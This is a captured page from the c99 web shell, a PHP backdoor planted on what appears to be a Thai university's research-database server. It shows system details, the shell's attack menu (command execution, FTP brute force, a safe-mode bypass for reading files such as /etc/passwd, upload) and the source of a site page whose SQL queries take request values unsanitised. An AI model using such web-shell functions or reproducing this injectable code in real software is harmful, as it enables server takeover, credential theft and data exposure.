!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailReUtilization.php (13.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "research_tb";
        
$myTable3 =" researchtype_tb"
        
$myTable4 ="researchpublic_tb"
        
$myTable2PK "Research_code";
        
        
/**  Table  -->  personal_tb  */
        
$query0 " SELECT *  FROM $myTable2  WHERE Research_code='$Research_code' ";
        
$result0 $dbObj->execQuery($query0);
        
$rss $dbObj->fetchArray($result0);
        
            
        
$sql " SELECT * FROM  research_file_tb  WHERE  Research_code='$Research_code' ";
         
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rs2mysql_fetch_array($result2);
        
        
/**  โฟลเดอร์ไฟล์เอกสาร */
        
$doc_path $_Config_live_site."/Research_pic";
                
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript" src="../js/calendarDateInput2.js"></script>
<title>ข้อมูลงานวิจัย - ผลงานการวิจัย</title>
</head>

<script language="javascript">
function checkData() {
var formObj = document.myForm;
       if( (formObj.Research_name.value == "" ) && (formObj.Research_name.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus();    return false; }
       else if(formObj.Research_name.value == "" ) { alert("กรุณากรอก ชื่อผลงาน"); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus(); return false;} 
    //  if(formObj.importance.value == "" ) { alert("กรุณากรอก ความสำคัญและที่มาของปัญหา"); formObj.importance.style.backgroundColor='#F1F9FC'; formObj.importance.focus(); return false;} 
      else return true;
}
</script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    myForm.Filetex.src = myForm.Filetex.value;
}
</script>


<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1004" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="206" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php  include("./_incMainMenu.php");?></td>
    <td width="798" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <form action="EditUtilization.php" method="post" enctype="multipart/form-data" name="myForm" id="myForm" onSubmit="return checkData();">
     <table width="772" border="0" cellspacing="0" cellpadding="0">      
      <tr>
        <td width="772" height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong><strong>&raquo; <a href="Menu_edu.php">จัดการข้อมูลผลงาน</a> &raquo; <a href="EditReUtilization.php">แก้ไขข้อมูล</a> &raquo;</strong> <span class="NOTE">ข้อมูลองค์ความรู้และบทความวิจัย</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><table width="766" border="0" cellpadding="1" cellspacing="1" bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
                      <tr >
                        <td height="18" colspan="3" align="left"><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
                      </tr>
                      <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                        <td height="100%" align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">หน่วยงาน</font></td>
                        <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">:</td>
                        <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">
                          <?php
         
         $sql 
"Select * From  college    Where  collegeStatus ='1' ";
          
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rss4 mysql_fetch_array($result2);
             echo
"<option value=\"$rss4[collegeCode]\" >$rss4[collegeName]</option>\n";
        
// echo "$rss4[collegeName] ";
         
?>
                        
                          <input name="collegeCode" type="hidden" id="collegeCode" value="<? echo $rss4[collegeCode]?>" />
                        </font></td>
                      </tr>
                      <tr>
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ประเภทผลงาน</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><label>
                          <input type="radio" name="ReTyId" id="radio" <?php if (!(strcmp("$rss[ReTyId]","13"))) {echo "checked";} ?>  value="13"  />
                          องค์ความรู้จากงานวิจัย
                          <input type="radio" name="ReTyId" id="radio" <?php if (!(strcmp("$rss[ReTyId]","12"))) {echo "checked";} ?> value="12"  />
                          บทความวิจัย </label></td>
                      </tr>
                      <tr bgcolor="#eeeeee" >
                        <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input type="radio" name="km" <?php if (!(strcmp("$rss[km]","1"))) {echo "checked";} ?> value="1" />
                          องค์ความรู้จากงานวิจัย <br />
                          <input type="radio" name="km"  <?php if (!(strcmp("$rss[km]","2"))) {echo "checked";} ?> value="2" />
                          องค์ความรู้จาก KM </td>
                      </tr>
                      <tr>
                        <td width="16%" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ชื่อผลงาน <span class="TEXT-RED10">*</span></td>
                        <td width="1%" bgcolor="#FFFFFF">:</td>
                        <td width="83%" align="left" bgcolor="#FFFFFF"><font color="#0000FF" size="2" face="Tahoma">
                        <input name="Research_name" type="text" id="Research_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Research_name'];?>" size="95" />
                        </font></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">อ้างจากงานวิจัยเรื่อง : 
                        <?php
             
                    $strSQL 
" SELECT * FROM  research_tb   WHERE  Research_code ='$rss[ReId]' ";
                    
$result3 mysql_query($strSQL);
                    
$rss3 mysql_fetch_array($result3);
                    echo  
$rss3[Research_name] ;
                      
            
?></td>
                      </tr>
                      <tr>
                        <td height="22" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">บูรณาการกับรายวิชา:</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">
                          <?php
              
                     $dbObj
->RegDBConn();
                    
$strSQL33 " SELECT * FROM  Course   WHERE  courseId='$rs[courseId]' ";
                    
$result33 mysql_query($strSQL33);
                    
$rs33 mysql_fetch_array($result33);
                    echo  
$rs33[courseCode];
                    echo  
$rss33[courseName];
                       
$dbObj->DBConn();
                      
            
?>
                        </span></td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">บทคัดย่อ</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><p></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;<?php echo htmlspecialchars_decodenl2br$rs2['abbStract'] ) ); ?>                        </td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">ดาว์โหลดไฟล์บทคัดย่อ :
                            <?php if( $rs2['Filetex'] != "" ) { ?>
                            <a href="<?=$doc_path ;?>/<?=$rs2['Filetex'];?>" target="_parent"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rs2['Filetex'];?> " width="16" height="16" border="0" /></a>
                            <?php } else { ?>
                            <img src="../images/icons/download_off.png" width="16" height="16" />
                            <?php ?>
                        </td>
                      </tr>
                      <tr>
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr>
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีงบประมาณ</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><input name="fiscal_year_finish" type="text" id="fiscal_year_finish" size="4" maxlength="4" value="<?=(isset($rss['fiscal_year_finish']))?$rss['fiscal_year_finish']:"";?>"/></td>
                      </tr>
                      <tr>
                        <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีปฏิทิน</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><input name="Year_prop" type="text" id="Year_prop" size="4" maxlength="4" value="<?=(isset($rss['Year_prop']))?$rss['Year_prop']:"";?>"/></td>
                      </tr>
                      <tr>
                        <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วันที่เริ่ม</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><input name="Resource_des9" type="text" id="Resource_des9" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  
                $sday 
=  $rss['Year_start'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?>" size="10" />
                          </a>&nbsp;&nbsp; <span class="TEXT-DARK-BLUE10">วันที่แล้วเสร็จ : </span> </a>
                          <input name="Resource_des10" type="text" id="Resource_des10" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  
                $sday 
$rss['Year_finish'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?>" size="10" /></td>
                  </tr>
                      <tr>
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr >
                        <td height="18" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
    </table>
    </form>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result0);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0193 ]--